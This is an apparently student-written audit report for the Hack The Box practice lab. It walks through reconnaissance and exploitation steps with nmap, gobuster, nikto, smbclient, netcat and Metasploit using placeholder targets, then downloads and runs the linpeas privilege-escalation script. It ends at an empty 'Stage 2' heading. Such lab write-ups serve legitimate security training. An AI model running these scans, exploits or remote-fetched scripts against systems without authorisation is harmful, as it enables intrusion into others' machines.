**Hack The Box Audit Report**

**Project Name:** Hack The Box Audit  
**Prepared By:** Anuj Kulat & Syed Hussain  
**Date:** 12/ 2 /2024.

**Setup Overview**

1. **Hack The Box Account**: Successfully registered and set up an account on Hack The Box.
2. **Environment Setup**:
   * **Kali Linux Installation**: Installed Kali Linux as the primary operating system for testing.
   * **VPN Connection**: Connected to Hack The Box’s VPN to access the private network and resources.

***Stage 1 : Initial Target Enumeration and Exploitation Setup***

**Step-by-Step Testing Process**

**1. Network Scanning and Enumeration**

* **Step 1**: **Ping the Target** - Verify the target machine is reachable.

ping [target\_ip]

*Observe the response time to ensure connectivity with the target.*

* **Step 2**: **Nmap Scan** - Perform a scan to identify open ports and services on the target.

nmap -sC -sV -oN initial\_scan.txt [target\_ip]

* + -sC: Runs default scripts to gather common information.
  + -sV: Detects service versions on the open ports.
  + -oN: Saves the scan results to initial\_scan.txt for reference. *Review the scan results to identify potential attack vectors based on open services.*
* **Step 3**: **Directory Enumeration (for Web Servers)** - Check for common directories on a web server.

gobuster dir -u http://[target\_ip] -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

*This command will attempt to find hidden directories, which may reveal useful pages or configurations.*

**2. Service Enumeration and Vulnerability Checking**

* **Step 4**: **Service-Specific Enumeration** - Based on the open ports from your scan, use specific tools for further inspection.
  + **For HTTP Services** (web servers):

nikto -h http://[target\_ip]

*This command scans for known vulnerabilities on the web server.*

* + **For SMB Shares**:

smbclient -L //[target\_ip]

*If any shares are accessible, review the contents for sensitive information.*

* **Step 5**: **Banner Grabbing** - Capture version details for specific services using netcat.

nc -v [target\_ip] [port]

*Use this information to search for vulnerabilities associated with specific software versions.*

**3. Exploitation**

* **Step 6**: **Using Metasploit** - If a vulnerability is found, use Metasploit to exploit it.

msfconsole

use [exploit\_name]

set RHOST [target\_ip]

set RPORT [port]

run

*Metasploit can automatically execute exploits if you’ve identified the right vulnerability.*

* **Step 7**: **Using Searchsploit** - To find potential exploits, search for known vulnerabilities based on service versions.

searchsploit [service or software version]

*Download and test relevant exploits on the target.*

**4. Post-Exploitation - Privilege Escalation**

* **Step 8**: **Basic System Enumeration** - Gather information about the system and current privileges.

uname -a # Check OS details

whoami # Verify current user

id # List user privileges

*These commands help assess the level of access obtained.*

* **Step 9**: **Automated Privilege Escalation Check** - Use linpeas.sh to identify privilege escalation paths.

wget https://github.com/carlospolop/PEASS-ng/releases/download/20230912/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

*This script scans for misconfigurations and services that could allow privilege escalation.*

**Stage 2**